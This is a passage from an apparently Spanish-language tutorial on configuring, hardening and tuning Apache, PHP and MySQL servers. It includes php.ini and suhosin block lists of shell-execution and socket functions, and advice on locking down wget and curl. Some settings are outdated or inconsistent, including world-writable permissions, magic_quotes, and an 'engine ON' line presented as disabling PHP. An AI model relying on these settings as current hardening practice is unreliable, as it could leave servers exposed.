</FilesMatch>

AddType application/x-httpd-php .php --> esto sirve para que interprete las paginas PHP

AddType application/x-httpd-php .php3 --> si queremos dar soporte a PHP3.

AddType application/x-httpd-php .shtml --> si queremos que se ejecute como un PHP

También podenos usar .shtml, que algunos utilizan como si fueran un php.

AccessFileName .htaccess --> esto es una opción muy buena que tiene el apache que en un archivo .htaccess podemos configurar varias cosas, como si fuera el httpd.conf (muy útil en webhosting, ya que no podemos controlar la conf del apache....)

Para proteger los htaccess de miradas indiscretas, ponemos en el conf principal:

<Files .htaccess>
Order allow,deny
deny from all
</Files>

O mejor aún:

<Files ~ "^.ht">
Order allow,deny
Deny from all
Satisfy All
</Files>

Son expresiones regulares, luego veremos algunos ejemplos.

Luego le podemos decir al htaccess

ErrorDocument 404 /notfound.html

También se le puede decir un directory index:

DirectoryIndex filename.html

Si queremos que un cgi se ejecute automáticamente:

DirectoryIndex /cgi-local/index.pl

También podemos utilizar la autentificación con HTTP con el Apache:

AuthUserFile "ruta"

<Limit GET>
requiere user login juan
</Limit>

(Abajo se explica completo)

ErrorLog logs/error.log --> para que logee los errores en la carpeta logs del apache.

#CustomLog logs/access.log combined --> guarda los accesos a la web en diferentes formato, sgún queramos unos datos u otros.

Puedes cambiar la ruta y guardar los logs en otro sitio, ya que suelen crecer mucho con webs grandes, llegando a tamaños de 1GB o más. Recuerda que en Linux en la carpeta dónde metas los logs debe ser de usuario "nobody" y grupo "nogroup" para que el apache pueda crear el archivo de logs y rellenarlo. Y si necesitas vaciarlo con algún prograna tipo awstats recuerda darle permisos de escritura 666.


#!c:/program files/perl/perl.exe --> aqui escribimos la ruta del perl, como que windows no lleva perl por defecto, deberemos bajarnos algun paquete, como Active Perl y aqui ponerle la ruta al perl.exe


Apache acepta Alias, y eso significa que podemos coger cualquier carpeta de nuestro ordenador y hacerla visible sin necesidad de que esa carpeta este en documentRoot

Me explico:

Si tenemos una carpeta con documentos en d:/documentos, y el documentRoot esta en c:/web, esa carpeta a priori no es visible, pero podemos hacer lo siguiente:

Alias /documentos/ "d:/documentos"

Y luego la protegemos:

<Directory "d:/documentos">
Options FollowSymLinks
AllowOverride None
</Directory>


A partir de este momento en http://localhost/documentos tendremos el contenido de d:/documentos

Podemos crear tantos alias como queramos.

Más cosas. Imáginemos que tenemos archivos .bak que no queremos que la gente los pueda ver, basta con decirle esto:

<Files ~ "/.bak$">
Order allow,deny
Deny from all
</Files>

ScriptAlias /cgi-bin/ "C:/Archivos de programa/Apache Group/Apache/cgi-bin/" --> Aqui definimos donde tendremos nuestros cgi''s, no es mas que un alias pero con permisos especiales para ejecutar.

<Directory "C:/Archivos de programa/Apache Group/Apache/cgi-bin">
AllowOverride None
Options None
Order allow,deny
Allow from all
</Directory>


Importante poner esas opciones para proteger el directorio cgi-bin de miradas curiosas.

Dento de la carpeta C:/Archivos de programa/Apache Group/Apache/cgi-bin tenemos que meter los cgi''s o pl''s, y luego en el navegador se accede con http://localhost/cgi-bin/

También se le puede decir al Apache que cualquier cgi que vea, este dentro del ScriptAlias o no, lo ejecute, esto no es recomendable, pero por si acaso basta con decirle esto:

AddHandler cgi-script .cgi

También se le puede decir al apache que una página shtml la interprete como SSI (Server Side Inlcudes:

AddHandler server-parsed .shtml

<IfModule mod_negotiation.c>
LanguagePriority en da nl et fr de el it ja kr no pl pt pt-br ru ltz ca es sv tw
</IfModule>

Propiedades del lenguaje, asi que mejor poner es al principio del todo:

LanguagePriority es en da nl et fr de el it ja kr no pl pt pt-br ru ltz ca sv tw


ErrorDocument --> Tipos de errores.

200 OK
206 Partial content
301 Document moved permanently
302 Document found elsewhere
304 Not modified since last retrieval
400 Bad request
403 Access forbidden
404 Document not found
408 Request timeout
500 Internal server error
501 Request type not supported

Por ejemplo:

El error 404 es cuando un servidor no encuentra una pagina. Pues podemos hacer que cuando haya un 404 nos lleve a una pagina:

ErrorDocument 404 /error.htm

Y en la pagina error.htm pues escribimos lo que queramos, es un html normal.

Asi que cuando escribamos http://localhost/lo_que_sea, si lo_que_sea no existe, ya sea carpeta, html, zip, etc nos llevara automaticamente a la pagina error.htm

Los directorios server-estatus y server-info están comentados por defectos y mejor dejarlos así sino sabes lo que tocas. Pero si lo descomentas asegurate de poner el allow from bien, es decir localhost o tu ip. Tampco es que sea informacion super-delicada, pero si es informacion privada.

#<Location /server-info>
# SetHandler server-info
# Order deny,allow
# Deny from all
# Allow from localhost
#</Location>

El server status te dice el estado del servidor, los procesos en espera, las conexiones enviando información, etc, el uptime del apache, el tráfico total enviado, etc.

Si lo quieres más completo, con las peticiones en proceso simultáneas, las conexiones de cada vhost (muy útil para saber que hosting consune más) etc, debes descomentar esta linea:

ExtendedStatus On

<Location /server-status>
 SetHandler server-status
 Order deny,allow
 Allow from ip
 Deny from all
</Location>

Otra manera de hacerlo es:

<Location /server-status>
 SetHandler server-status
   AuthUserFile /home/pepe/htpasswd
   AuthType Basic
   AuthName "Server Status"
   require valid-user
</Location>

En el archivo htpasswd que está en /home/pepe debe estar el usuario pepe con su correspondiente contraseña cifrada. Para hacer estos usuarios, consulta el final del documento dónde se explica como proteger directorios.


También se le puede decir al Apache que por defecto cada usuario de linux tenga su directorio web.
Por ejemplo http://localhost/~juan/ apuntará al directorio del usuario en linux, o sea:

/home/juan/public_html

Para hacer esto basta con poner:

UserDir public_html

Si pusieramos:

UserDir pagina_web

Entonces irá por defecto a:

/home/usuario/pagina_web
/home/usuario2/pagina_web

<Directory /home/*/public_html>
Opciones que queramos para todos los usuarios.
</Directory>

Más cosas:

Si tenemos una carpeta /images y la movemos de sitio, podemos hacer un redirect, o por ejemplo si teniamos /juan y ahora juan ha comprado un dominio podemos hacer esto:

Redirect permanent /juan http://www.juan.com

Donde /juan ya no debe ser un directorio, ni estar lleno, el ex-directorio de nuestro amigo ahora será www.juan.com, que es el nuevo dominio de juan, donde podemos encontrarle :)

Otra cosa excelente es que el Apache puede alojar varias webs (dominios) y esto se hace con el VirtualHost.

Los vhosts pueden estar basados en nombre (based-name) o en ip (ip-based).

Me explico, si tu máquina tiene una sola ip, pues deberas hacer vhosts basados en nombre, y si tienes varias ips pues puedes elegir, yo solo se hacerlo basado en nombre, ya que sólo tengo una ip:

Por ejemplo:

Tenemos el apache y queremos alojar nuestra web y la de un amigo:

El amigo compra el dominio pepe.com y apunta las dns a nuestra maquina.

Nosotros tenemos que decirle a nuestra máquina esto:

<VirtualHost *>
ServerAdmin amigo@pepe.com
DocumentRoot /web/amigo_pepe/
ServerName pepe.com
ErrorLog logs/web_amigo_pepe_errpr
CustomLog logs/web_amigo_pepe_log common
</VirtualHost>

Ejemplo real de un vhost based-name (basado en nombre) del dominio elhacker.net, totalmente completo:

#le decimos listen y la ip de nuestra maquina y el puerto (normalmente 80)

Listen *:80

#recuerda que si sales por un router deberás poner Listen 192.168.0.3 , o sea la ip local, ya que sinó al arrancar el apache dará el error "could not bind address port"

NameVirtualHost *:80


#este es el vhost por defecto. Aunque está basado en nombre, este vhost como es por defecto, también podemos acceder directamente por la ip.

<VirtualHost *:80>
DocumentRoot /usr/local/apache/htdocs/elhackerinfo
ServerName www.elhacker.info
ServerAlias elhacker.info
</VirtualHost>

#segundo vhost basado en en el nombre (dominio) www.elhacker.net y elhacker.net

<VirtualHost *:80>
ServerAdmin alex@elhacker.net
DocumentRoot /usr/local/apache/htdocs/elhackernet
ServerName www.elhacker.net
ServerAlias elhacker.net
</VirtualHost>

Asi en nuestro ordenador tendremos nuestra web y la de nuestro amigo, y las dos estaran en la misma IP y en el mismo servidor web. En este ejemplo solo hay 2 dominios, pero igual que hay 2 podriamos poner 200.

Ahora veamos un vhost basado en ip (ip-based):

#ponemos a la esucha las dos ips (o si tuvieramos 5 ips, pues pondríamos las 5)
Listen 62.121.32.120:80
Listen 62.121.32.121:80

NameVirtualHost 62.121.32.120:80
NameVirtualHost 62.121.32.121:80

#configuro el vhost para la primera IP

<VirtualHost 62.121.32.120:80>
DocumentRoot /home/foro/public_html
ServerName foro.elhacker.net

<Directory "/home/foro/public_html">
    Order allow,deny
    Allow from all
   </Directory>
#etc, etc, etc
</VirtualHost>


#configuro el vhost para la segunda IP

<VirtualHost 62.121.32.121:80>
DocumentRoot /home/alex/public_html
ServerName www.elhacker.name

<Directory "/home/alex/public_html">
    Order allow,deny
    Allow from all
   </Directory>
#etc, etc, etc
</VirtualHost>

El apache también puede hacer de proxy, esta opción por defecto está desactivada, pero veremos como configurar el Apache como proxy.

Primero tiene que estar el módulo mod_proxy.c cargado en el Dynamic Shared Object (DSO)

#<IfModule mod_proxy.c>

# <Directory proxy:*>
# Order deny,allow
# Deny from all
# Allow from ip
# </Directory>


=====================================================================

2) Configuración avanzada PHP + Seguridad en PHP

Editaremos el Archivo php.ini

expose_php = Off

Para evitar mostrar la versión del PHP en las cabeceras X-Powered-By: PHP, etc.

; Resource Limits ;

max_execution_time = 30 --> máximo tiempo de ejecución de un script php. Si en 30 segunos no obtiene respuesta el script se para y sale un "timeout" como errror.

memory_limit = 8M --> tamaño maximo que puede consumir un script php.

; File Uploads ;

Si queremos enviar ficheros al servidor, aqui lo podemos permitir:

file_uploads = On --> si queremos o no queremos

upload_tmp_dir = F:webspublic --> el directorio donde se copiarán los archivos que nos suban.

upload_max_filesize = 1M --> el tamaño máximo que queremos que nos envien.

Una caracteristica muy importante, especialmente para hostings, es la posibilidad de no permitir algunas de las funciones de PHP. La razon es muy sencilla: algunas funciones de PHP como system, proc, etc hacen y permiten ejecutar comandos del  sistema, lo que puede provocar problemas de seguridad. Por ejemplo, un usuario quizas quiera ejecutar un comando "no peligroso" como uptime, pero otro usuario mal intencionado puede utilizar otros comandos del sistema para extraer informacion comprometida de la maquina: como id, who, cat, etc.

Hosting gratuitos como Lycos, iespana tienen capadas estas funciones por lo comentado arriba, es potencialmente peligroso.

Para no permitir la ejecucion concreta de algunas funciones en PHP (no confundir con comandos) es con:

disable_functions =exec,system,shell_exec,readfile

Aunque las funciones en PHP son exec(), debemos ponerlo sin ().

Por ejemplo en Mi Arroba:

Warning: fsockopen, pfsockpen, show_source, php_uname, ini_alter, ini_restore, ini_set, getrusage, get_current_user, set_time_limit, getmyuid, getmypid, dl, leak, listen, chown, chmod, chgrp, realpath, tmpfile, link() has been disabled for security reasons.

Más restrictivo:

Funciones a deshabilitar:

exec, system, shell_exec, readfile, passthru, escapeshellcmd, proc_open, posix_uname, posix_getuid, posix_geteuid, posix_getgid, getcwd

disable_functions = system, exec, shell_exec, passthru, pcntl_exec, putenv, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, popen, pclose, set_time_limit, ini_alter, virtual, openlog, escapeshellcmd, escapeshellarg, dl, curl_exec, parse_ini_file, show_source

Otra lista más completa:

disable_functions=
popen,pclose,posix_getpwuid,posix_getgrgid,posix_k ill,parse_perms,phpinfo,system,dl,passthru,exec,
shell_exec,popen,proc_close,proc_get_status,proc_n ice,proc_open,escapeshellcmd,escapeshellarg,show_s ource,posix_mkfifo, set_time_limit,mysql_list_dbs,get_current_user,get myuid,pconnect,link,symlink,pcntl_exec,ini_alter,p arse_ini_file,pfsockopen, leak,apache_child_terminate,posix_kill,posix_setpg id,posix_setsid,posix_setuid,proc_terminate,syslog ,fpassthru,stream_select, socket_select,socket_create,socket_create_listen, socket_create_pair,socket_listen,socket_accept,sock et_bind,socket_strerror, pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexits tatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifs topped,pcntl_wstopsig,pcntl_wtermsig,openlog,apach e_get_modules,apache_get_version,apache_getenv, apache_note,apache_setenv,virtual


Recomendable instalar suhosin (una manera muy sencilla y segura de asegurar PHP)

suhosin.executor.func.blacklist = "system, exec, shell_exec, passthru, pcntl_exec, putenv, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, popen, pclose, set_time_limit, ini_alter, virtual, openlog, escapeshellcmd, escapeshellarg, dl, parse_ini_file, show_source, imap_open, ftp_connect, posix_uname, posix_getuid, posix_geteuid, posix_getgid, getcwd, php_uname, phpinfo apache_setenv, define_syslog_variables, eval, exec, ftp_connect, ftp_exec, ftp_get, ftp_login, ftp_nb_fput, ftp_put, ftp_raw, ftp_rawlist, highlight_file, ini_alter, ini_get_all, ini_restore, inject_code, openlog, passthru, php_uname, phpAds_remoteInfo, phpAds_XmlRpc, phpAds_xmlrpcDecode, phpAds_xmlrpcEncode, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, posix_setuid, posix_uname, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, shell_exec, syslog, system, xmlrpc_entity_decode, exec, pipe, set_time_limit, popen, proc_open, parse_ini_file, show_source, mail, dl, ini_set, ini_alter, virtual, openlog, apc_add, apc_bin_dump, apc_bin_dumpfile, apc_bin_loadfile, apc_cache_info, apc_cas, apc_clear_cache, apc_compile_file, apc_dec, apc_define_constants, apc_delete_file, apc_delete, apc_exists, apc_fetch, apc_inc, apc_load_constants, apc_store, symlink, eval"



Otra manera es hacer funcionar el php en safe_mode. Esto se indica en el php.ini y se activa con la opción:

Safe_mode = ON

o sea modo seguro. Muchos hostings gratuitos lo tienen activado por defecto.  De esta manera varias funciones están desactivadas y muchas otras comprueban los permisos a la hora de leer ficheros, etc.

http://www.zend.com/manual/features.safe-mode.functions.php

allow_url_fopen off --> para no dejar que se abran archivos remotos

register_globals off  --> desactivar las variables globales para que no se pueda permitir la inyección a variables que no están supuestos a modificar (muy importante).

Otra manera intersante de progeter el php es con el magic_quotes_gpc:

Copy/paste de http://vulnfact.com/papers/VF-php_secure.txt

 - Buscamos la directiva magic_quotes_gpc, que quizá este en Off, pues la activamos con
    On. Esto hace la adición automática del caracter de escape "" en variables tomadas
    de GET, POST y Cookies.

  magic_quotes_gpc = On ; magic quotes for incoming GET/POST/Cookie data

  - Para evitar que en lugar de enviar cadenas mal intencionadas, sean almacenadas en
    bases de datos o archivos de texto. Debemos activar magic_quotes_runtime.

  magic_quotes_runtime = Off ; magic quotes for runtime-generated data.

Para mayor seguridad, podemos hacer que un vhost (virtual host) del apache no tenga php:

#bastaría con añadir esta linea dentro del vhost del apache
php_admin_flag engine ON

O bien podemos deshabilitar el safe_mode en un vhost (dominio)

php_admin_flag safe_mode Off

Más info:
http://es2.php.net/manual/en/configuration.changes.php


open_basedir = none

En el vhost del Apache:

php_admin_value open_basedir /home/user/public_html

De esta manera sólo dejamos abrir los ficheros que estén en ese directorio (para evitar problemas).

De la misma manera deberíamos logear los errores del php pero no mostrarlos (evitaremos path disclosures, etc).

Añadimos varias instrucciones en el vhost del apache:

php_flag display_errors Off
php_flag log_errors On
php_value error_log "/home/uesr/logs/errorsphp"

Por si todo esto falla y consiguen una shell:

#le damos permisos sólo al root para este fichero
chmod 700 /usr/bin/wget
# modo invariable
chattr +i /usr/bin/wget

Lo mismo para los comandos:

wget, curl, lynx, w3m, framebuffer, links2 (navegadores) y gcc, cc y demás compiladores o binarios que nos parezcan potencialmente peligrosos.

  Se podría decir que hasta ahí tenemos mas o menos asegurado PHP.

=====================================================================

3) Instalación y configuración bajo Linux

Bueno instalarlo en Linux es diferente, pero la configuración es idéntica, excepto en las las rutas y algún otro parámetro más.

/usr/local/apache en vez de c:Archivos de ProgramaApache Group.......

Te bajas el Apache:

http://www.ibiblio.org/pub/packages/infosystems/WWW/servers/apache/httpd/apache_1.3.28.tar.gz

tar -xvzf apache_1.3.28.tar.gz
cd apache_1.3.28
./configure --enable-module=so
make
make install

Podemos instalarlo en otro directorio, que por defecto es /usr/local/apache con:

./configure --prefix=/www

El php:

http://www.php.net/get/php-4.3.1.tar.gz/from/bg.php.net/mirror

tar -xvzf php-4.3.1.tar.gz
cd php-4.3.1
./configure --with-mysql --with-apxs=/usr/local/apache/bin/apxs

o bien:

./configure --with-mysql --with-apxs=/usr/local/apache/bin/apxs --with-gd --with-zlib

make
make install

ya ta. Recuerda que debes haber compilado el apache con module=SO, para poder compilar el PHP y la ruta del apxs correcta, sino tambien dara error claro. Yo he puesto la ruta por defecto, si has instalado el apache en otro sitio puedes hacer un "locate apxs" y ver dónde lo tienes.

Bien está todo instalado y debería funcionar, pero falta decir al Apache que "interprete" los  php  (igual que hariamos en Windows) con el httpd.conf

Buscamos -->

<IfModule mod_dir.c>
DirectoryIndex index.html
</IfModule>

Y le añadimos esta línea:

AddType application/x-httpd-php .php

Tiene que quedar asi:

<IfModule mod_dir.c>
DirectoryIndex index.html
AddType application/x-httpd-php .php
</IfModule>

Verás que algunas páginas usan .shtml (y son webs dinámicas), sería muy fácil añadir un .shtml para que fuera equivalente a un .php

Bastaría con añadir esta línea:

AddType application/x-httpd-php .shtml

Puedes editar el php.ini en/etc/php.ini o /usr/local/lib/php.ini

Por defecto PHP usa sendmail para enviar e-mails con la función mail() , pero si queremos usar qmail, tenemos que añadir la ruta del ejecutable:

/usr/lib/qmail/qmail-inject

Para arrancar el apache tienes varias maneras:

/usr/local/apache/bin/apachectl start
/etc/rc.d/init.d/httpd start
/usr/local/apache/bin/httpd

Todas son válidas y con cualquier usuario, ya que en el conf ya se incluye "User nobody" y "Group nogroup". Puedes comprobarlo haciendo un "ps aux".

Instalar el MySQL bajo Linux, tampoco tiene mucho misterio. Hay paquetes rpm o puedes instalarlo desde las fuentes.

Para arrancarlo si has instalado el RPM:

/etc/rc.d/init.d/mysql start

Para instalarlo desde las fuentes (recomendado para una máxima estabilidad y rendimiento)

bajaremos el tar.gz de:

http://dev.mysql.com/downloads/mysql/5.0.html

shell> groupadd mysql
shell> useradd -g mysql mysql
shell> gunzip < mysql-VERSION.tar.gz | tar -xvf -
shell> cd mysql-VERSION
shell> ./configure --prefix=/usr/local/mysql
shell> make
shell> make install
shell> cp support-files/my-medium.cnf /etc/my.cnf
shell> cd /usr/local/mysql
shell> bin/mysql_install_db --user=mysql
shell> chown -R root  .
shell> chown -R mysql var
shell> chgrp -R mysql .
shell> bin/mysqld_safe --user=mysql &

Las Bases de datos se guardan por defecto en:
/var/lib/mysql

Para arrancar el MySQL es recomendable usar el script de inicio que lleva en la carpeta:

/share/mysql/mysql.server start
/share/mysql/mysql.server stop

Si quieres editar algún valor del MySQL:

ves al /etc/my.cnf

=====================================================================

4) Optimizando el Apache, PHP y MySQL

Tuning Apache en Linux

Para obtener el máximo rendimiento del Servidor web Apache, configurar el httpd.conf de Linux/Unix.

Los creadores del Apache afirman que no está diseñado, o no es su máxina prioridad, el rendimiento, pero aún así es posible configurarlo para obtener un mejor rendimiento. Especialmente es indicado para máquinas con una buena/nuy buena conexión a internet (10mbps para adelante)

Configuración mínima: 256 RAM.

Con esta nueva configuración Apache consumirá más memoria, pero si contamos con bastante memoria (1 GB o 2 GB) no hay ningún problema.

MaxKeepAliveRequests 0

# en comentarios los valores originales
#MinSpareServers 5
#MaxSpareServers 10

MinSpareServers 16
MaxSpareServers 30

También podemos poner (pero mejor tener una máquina con un tráfico bestial y 2 GB de ram minímo)

MinSpareServers 100

Pero mejor que tengas mucha ram y una buena cpu. Cada SpareServer será un subproceso del apache, que por lo tanto, consumirá memoria ram.

Número de procesos al arrancar el Apache:

#StartServers 5
StartServers 16

MaxRequestsPerChild 0

Configuración ideal para sitios con mucho tráfico:

<IfModule prefork.c>
ServerLimit 500
StartServers         40
MinSpareServers      30
MaxSpareServers     50
MaxClients         450
MaxRequestsPerChild 1000
</IfModule>

Los valores KeepAlive, Timeout, KeepAliveTimeout también deberían modificarse:

Timeout 300
KeepAlive On
MaxKeepAliveRequests 100
KeepAliveTimeout 3

Muchos recomiendan bajar el Tiemout hasta valores de 100. Muy importante dejar el KeepAliveTimeout en un valor bajo.


Los valores 0, indican "Ilimitado".

También la opción de "HostNameLookups"
es mejor ponerla en "HostNameLookups off"  , ya que así evitamos tener que hacer un reverso de DNS de cada visitante que entra y hace un "hit", y aunque existe una caché de DNS para agilizar este proceso, no es recomendable.

Para probar el rendimiento del apache, pueedes hacer un test que lleva incluido el propio apache. Es un ejecutable que se llama "ab" y está en el directorio /bin o /sbin. Este programa simula gran cantidad de tráfico para el Apache y es una muy buena manera de medir el rendimiento de tu apache.

PHP

Si tu Apache sirve básicamente páginas PHP te interesará especialmente usar algún "acelerador" (caheador) de scripts PHP que almacenan en memoria caché los scripts. Conseguirás bajar las cargas del servidor de una manera notable. Es muy recomendable usarlo incluso si hay muchas consultas al MySQL. Aunque PHP 5 es bastante más rápido que PHP 4, instalando el eAcclerator o el APC con PHP 5 también se mejora y mucho.

Un ejemplo claro es:

eAccelerator
http://eaccelerator.net/

eAccelerator es la continuación del proyecto Turck MMCache.

Otros "aceleradores" del PHP:

APC (Alternative PHP Cache)
http://pecl.php.net/package/APC

PHPAccelerator
http://www.php-accelerator.co.uk/

XCache
http://xcache.lighttpd.net/

MMCache
http://turck-mmcache.sourceforge.net/

En su web está explicada la instalación y configuración (muy fácil, es compilar y carga un nuevo módulo junto con añadir la nueva configuración en el php.ini)

Ejemplo:

wget
bzip2 -cd eaccelerator-0.9.5.2.tar.bz2 | tar xvf -
cd eaccelerator-0.9.5.2
locate phpsize
export PHP_PREFIX="/usr/local/bin/"
$PHP_PREFIX/bin/phpize
export PHP_PREFIX="/usr/local/"
$PHP_PREFIX/bin/phpize
./configure --enable-eaccelerator=shared --with-php-config=$PHP_PREFIX/bin/php-config
php -v
make
make install

Simplemente te creará un eaccelerator.so

Debes copiar el eaccelerator.so y ponerlo en un directorio /usr/lib/php4/

Para despues llamarlo en el php.ini

zend_extension="/usr/lib/php4/eaccelerator.so"
eaccelerator.shm_size="16"
eaccelerator.cache_dir="/tmp/eaccelerator"
eaccelerator.enable="1"
eaccelerator.optimizer="1"
eaccelerator.check_mtime="1"
eaccelerator.debug="0"
eaccelerator.filter=""
eaccelerator.shm_max="0"
eaccelerator.shm_ttl="0"
eaccelerator.shm_prune_period="0"
eaccelerator.shm_only="0"
eaccelerator.compress="1"
eaccelerator.compress_level="9

Crear el directorio:

mkdir /tmp/eaccelerator
chmod 0777 /tmp/eaccelerator"

APC (Alternative PHP Cache)
http://pecl.php.net/package/APC

/usr/local/bin/phpize
./configure --enable-apc --enable-apc-mmap --with-apxs=/usr/local/apache2/bin/apxs --with-php-config=/usr/local/bin/php-config
make
make install

Copiar e apc.so a nuestra carpeta de librerías del PHP

y añadir al php.ini

extension=apc.so
apc.enabled=1
apc.shm_segments=1
apc.optimization=0
apc.shm_size=128
apc.ttl=7200
apc.user_ttl=7200
apc.num_files_hint=1024
apc.mmap_file_mask=/tmp/apc.XXXXXX

Truco para acelerar el APC:

Añadir flag

apc.stat=0

De esta manera no mira cada vez si el script php ha cambiado, usar sólo si hacemos pocos cambios en el php. Mirar documentación.

También podemos optimizar al compilar el Apache, PHP y el MySQL usango flags:

http://gentoo-wiki.com/Safe_Cflags

MySQL

Guía completa actualizada:
http://wiki.elhacker.net/bases-de-datos/mysql/optimizacion

Herramientas para Optimizar MySQL
http://foro.elhacker.net/tutoriales_documentacion/herramientas_para_optimizar_mysql-t214396.0.html

Editar fichero /etc/my.cnf

[mysqld]
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock
max_connections=250
max_connect_errors=100
interactive_timeout=14400
wait_timeout=14400
connect_timeout=1


[mysql.server]
#muy importante como siempre ejecutar este proceso con un usuario con pocos privilegios
user=mysql
#dónde tenemos las bases de datos, por si queremos ponerlas en otra partición, por ejemplo.
basedir=/var/lib

[safe_mysqld]
err-log=/var/log/mysqld.log
pid-file=/var/run/mysqld/mysqld.pid

El max_connections por defecto es: 150, es mas que suficiente para según que cosas, pero en una máquina grande con muchas bases de datos, puede pasar que en un momento determinado hayan 150 conexiones simualtaneas. Entonces saldrá un error de "Too many connections".

También se pueden cambiar otros valores (variables):

variable = nuevovalor

Ejemplo:

key_buffer_size=8M

Una valor muy imporante para optimizar el MySQL es el "query caching". Creando una cache de las consultas podemos mejorar el rendimiento de la cpu y la velociad de las consultas.

Primero debemos asegurarnos que está activado:

mysql> SHOW VARIABLES LIKE ''mysql_query_cache'';

have_query_cache | YES  

Si está que no:

query_cache_type = 1

Definimos el tamaño de la cache en el archivo /etc/my.cnf

query_cache_size=100M

O más grande si tenemos mucha más ram (1gb-2gb)

También le podemos decir que querys con que tamaño minimo queremos que las guarde en cache:

query_cache_limit = 3M

Las consultas (querys) de más de 3 Mb no se guardarán en la caché.

Variables que conviene mirar:

Querys en caché

mysql> SHOW STATUS LIKE ''Qcache_queries_in_cache'';

Número de querys con caché servidas

mysql> SHOW STATUS LIKE ''Qcache_hits'';

Memoria libre de la cache para las querys.

mysql> SHOW STATUS LIKE ''Qcache_free_memory'';

Más variables a tener en cuenta:

http://www.mysql.com/doc/en/Query_Cache_Status_and_Maintenance.html


El MySQL lleva 3 archivos de configuración de ejemplo, para equipos pequeños (menos de 512 de ram), equipos medianos (más de 512 de ram) y para equipos grandes (1-2 Gigas de ram). Básicamente repercutirán en el consumo de ram del proceso MySQL, ya que los ejemplos de config varian el tamaño de la caché, de las consultas, etc.

# para equipos con =512 RAM
key_buffer_size=256M
max_allowed_packet=1M
table_cache=256
sort_buffer=1M
record_buffer=1M
myisam_sort_buffer_size=64M
thread_cache=8
# Try number of CPU''s*2 for thread_concurrency
thread_concurrency=8
log-bin
server-id   = 1


# para equipos con 1 o 2 GB de ram
key_buffer = 384M
max_allowed_packet = 1M
table_cache = 512
sort_buffer_size = 2M
read_buffer_size = 2M
myisam_sort_buffer_size = 64M
thread_cache = 8
query_cache_size = 32M
# Try number of CPU''s*2 for thread_concurrency
thread_concurrency = 8

Vamos a ver estos valores por otros "no oficiales" pero igualmente válidos y que funcionan mejor:

#equipos con 512 de ram (editar siempre /etc/my.cnf)
thread_cache_size=50
key_buffer=40M
table_cache=384
sort_buffer_size=768K
read_buffer_size=512K
read_rnd_buffer_size=512K
thread_concurrency=2

#equipos con 1gb de ram (editar siempre /etc/my.cnf)
thread_cache_size=80
key_buffer=150M
table_cache=512
sort_buffer_size=1M
read_buffer_size=1M
read_rnd_buffer_size=768K
thread_concurrency=2

Consejo/Recuerda: Grande no siempre quiere decir mejor (cuidado con poner valores muy grandes a key_buffer_size, innodb_buffer_pool_size)

Truco: mira las variables siguientes (son muy importantes si usas tablas MyISAM)

low_priority_updates=1
concurrent_insert=2

InnoDB es un sistema transaccional de bases de datos que está activado por defecto en MySQL 4.x y superiores. Básicamente lo que hace es leer más lento, pero escrbir más rápido (evitando locking tables)

Para convertir una tabla MyISAM a InnoDB:

Desde el PhpMyAdmin:

ALTER TABLE nombre_de_la_tabla
TYPE=InnoDB;

Aunque antes de eso tenemos que configurar el my.cnf para usar InnoDB:

my.cnf MySQL Configuración

# Data files must be able to hold your data and indexes.
# Make sure that you have enough free disk space.
#use this line for MySQL 4.xx.xx
innodb_data_file_path = ibdata:1G:autoextend:max:2G
#innodb_data_file_path = ibdata:1G
innodb_buffer_pool_size = 50M
innodb_additional_mem_pool_size = 10M
innodb_file_io_threads = 8
# Set the log file size to about 25% of the buffer pool size
innodb_log_file_size=20M
innodb_log_buffer_size=8M
innodb_flush_log_at_trx_commit=1

Más info:
http://dev.mysql.com/doc/mysql/en/adding-and-removing.html
http://dev.mysql.com/doc/mysql/en/innodb-configuration.html
http://www.databasejournal.com/features/mysql/article.php/3367871

Si después de añadir un nuevo ibdata el MySQL no arranca es porque seguramente hay más de 1 ibdata (el que se crea por defecto y el que acabamos de decirle que añada) y no sabe cuál escoger.

Te recomiendo pasar todas las tablas que estén en InnoDB a  MyISAM otra vez (para no perder nada) y borrar todos los ibdata que hayan (aunque tengan x tamaño, estarán vacios), y arrancar el MySQL de nuevo y el solito creará el ibdata de nuevo con x tamaño que le hayamos dicho.

Herramientas para optimizar el MySQL (nos ayudarán a escoger los valores óptimos para las variables importantes)
http://foro.elhacker.net/tutoriales_documentacion/herramientas_para_optimizar_mysql-t214396.0.html

Truco para optimizar el MySQL:

optimizer_search_depth por defecto es 64, si tenemos pocas tablas es recomendable bajarlo a un número mucho más pequeño.

5) Evitando Ataques al Apache

Algo de Seguridad:

Sino quieres que se muestre la versión del Apache que estás usando:

Busca ServerSignature y lo pones en off:

ServerSignature off

y añades debajo:

ServerTokens ProductOnly

De esta manera la versión de tu Apache será "Apache" a secas, sin decir la versión exacta (Ej. --> Apache 1.3.29).

ServerTokens permite especificar como opciones Minimal|ProductOnly|OS|Full.

Si usamos el mod_security del Apache debemos dejarlo en full:

Código:
ServerTokens Full

Y podemos invernos el servidor que queramos:

SecServerSignature "Microsoft-IIS/5.0"

-------------------------------------------------------------
--- Configurando Apache versión httpd-2.0.40 como IIS 5.0. ---
--------------------------------------------------------------

a)en el fichero: httpd-2.0.40/include/ap_release.h

cambiamos las lineas:

#define AP_SERVER_BASEVENDOR "Apache Software Foundation"
#define AP_SERVER_BASEPRODUCT "Apache"
#define AP_SERVER_BASEREVISION "2.0.40"
#define AP_SERVER_BASEVERSION AP_SERVER_BASEPRODUCT "/" AP_SERVER_BASEREVISION
#define AP_SERVER_VERSION AP_SERVER_BASEVERSION

#define SERVER_BASEVENDOR "Apache Group"
#define SERVER_BASEPRODUCT "Apache"
#define SERVER_BASEREVISION "1.3.24"
#define SERVER_BASEVERSION SERVER_BASEPRODUCT "/" SERVER_BASEREVISION

de manera que queden asi:

#define AP_SERVER_BASEVENDOR "Microsoft Corp"
#define AP_SERVER_BASEPRODUCT "Microsoft-IIS"
#define AP_SERVER_BASEREVISION "5.0"
#define AP_SERVER_BASEVERSION AP_SERVER_BASEPRODUCT "/" AP_SERVER_BASEREVISION
#define AP_SERVER_VERSION AP_SERVER_BASEVERSION

------------------------------------------------------------------

b)


en el fichero:

httpd-2.0.40/server/core.c

cambiamos la linea:


static enum server_token_type ap_server_tokens = SrvTk_FULL;

